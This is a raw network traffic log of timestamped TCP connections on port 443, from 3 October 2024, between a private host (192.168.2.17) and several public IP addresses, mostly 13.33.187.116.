Oct 3, 2024 17:19:48.939090967 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.939152002 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.939228058 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.939702988 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.939721107 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.943219900 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.943263054 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.943335056 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.943875074 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.943895102 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.943967104 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.944139957 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.944164991 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.944390059 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.944413900 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.020391941 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.020406008 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.020447969 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.020518064 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.020538092 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.020570040 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.020596027 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.026740074 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.026784897 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.026829004 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.026842117 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.026869059 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.026890993 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.030155897 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.030180931 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.030284882 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.030610085 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.030626059 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.051894903 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.051922083 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.052009106 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.052262068 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.052282095 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.110120058 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.110156059 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.110224962 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.110268116 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.110300064 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.110353947 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.111217976 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.111243010 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.111310959 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.111325979 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.111427069 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.112869024 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.112885952 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.112957954 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.112971067 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.113037109 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.113172054 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.113228083 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.117352009 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.117369890 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.117475033 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.117489100 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.117549896 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.119456053 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.119472027 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.119517088 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.119529009 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.119540930 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.119589090 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.119635105 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.120553017 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.120567083 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.120706081 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.120735884 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.258528948 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.258564949 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.258656979 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.259001017 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.259027004 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.399996042 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.400027990 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.400100946 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.400166988 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.400207043 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.401468992 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.401496887 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.405356884 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.405462027 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.405549049 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.406207085 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.406244993 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.406660080 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.406701088 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.406755924 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.407156944 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.407167912 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.664464951 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.666805029 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.666824102 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.667305946 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.669692993 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.669790030 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.671950102 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.702111006 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.703911066 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.703933954 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.704413891 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.706974983 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.707065105 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.707130909 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.715440989 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.751413107 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.774898052 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.776815891 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.776876926 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.777215004 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.777247906 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.779378891 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.779411077 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.779783964 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.779870033 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.779953003 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.780864954 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.780941010 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.784523964 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.784606934 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.786874056 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.786887884 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.827435017 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.829483986 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.851427078 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.851797104 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.851830959 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.854665995 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.854756117 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.855129957 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.855186939 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.855309963 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.855318069 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.907497883 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.935966969 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.936074018 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:49.936146975 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.936758041 CEST	56038	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:49.936781883 CEST	443	56038	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.008090973 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.008522987 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.008533001 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.009972095 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.010054111 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.010445118 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.010514021 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.010632038 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.010638952 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.063504934 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.139286995 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.139718056 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.139749050 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.140894890 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.141383886 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.141556978 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.141585112 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.148955107 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.149267912 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.149317026 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.150785923 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.150881052 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.151237011 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.151321888 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.151423931 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.187447071 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.190505028 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.195101976 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:50.195139885 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:50.195221901 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:50.195802927 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:50.195817947 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:50.199404001 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.206482887 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.206496000 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.253474951 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.373977900 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.376589060 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.376629114 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.376672029 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.376707077 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.376734972 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.377305031 CEST	56037	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.377326012 CEST	443	56037	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.379941940 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.379982948 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.380070925 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.380395889 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.380412102 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.382710934 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.382749081 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.382833958 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.383173943 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.383186102 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.411516905 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.411660910 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.411736012 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.411761045 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.411801100 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.411813974 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.411861897 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.413662910 CEST	56048	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.413678885 CEST	443	56048	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.441279888 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.445982933 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.446014881 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.446093082 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.446136951 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.446197987 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.446829081 CEST	56041	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.446866035 CEST	443	56041	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.448647976 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.448662043 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.448755026 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.449054003 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.449062109 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.449933052 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.449976921 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.450057030 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.450295925 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.450306892 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.451447010 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.451466084 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.451538086 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.451569080 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.451623917 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.507198095 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.507287979 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.507308960 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.507328033 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.507345915 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.507371902 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.507376909 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.507424116 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.507433891 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.508008957 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.508086920 CEST	443	56043	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.508147001 CEST	56043	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.510328054 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.510375023 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.510514021 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.510783911 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.510802984 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.511740923 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.511778116 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.511845112 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.512073040 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.512085915 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.526616096 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.534399986 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.534430981 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.534534931 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.534534931 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.534552097 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.534594059 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.536802053 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536813021 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536833048 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536843061 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536849976 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536873102 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.536885977 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536901951 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.536907911 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.536946058 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.539340019 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.539366007 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.539400101 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.539408922 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.539444923 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.588494062 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.618202925 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.618226051 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.618258953 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.618350029 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.618412971 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.618412971 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.618716955 CEST	56047	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.618742943 CEST	443	56047	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.621789932 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.621824026 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.621901035 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.622164965 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.622211933 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.622268915 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.622423887 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.622442961 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.622668028 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.622685909 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.622963905 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.622997999 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.623037100 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.623090982 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.623122931 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.623157024 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.623837948 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.623866081 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.623929977 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.623945951 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.623996019 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.625675917 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.625696898 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.625750065 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.625763893 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.625797987 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.625818014 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.628222942 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.628252029 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.628303051 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.628315926 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.628326893 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.628367901 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.628546953 CEST	56039	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.628576040 CEST	443	56039	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.631166935 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.631243944 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.631333113 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.631536007 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.631572008 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.631624937 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.631810904 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.631849051 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.632020950 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.632034063 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.654829025 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:50.654854059 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:50.654923916 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:50.655160904 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:50.655178070 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:50.673832893 CEST	443	56045	13.33.187.116	192.168.2.17
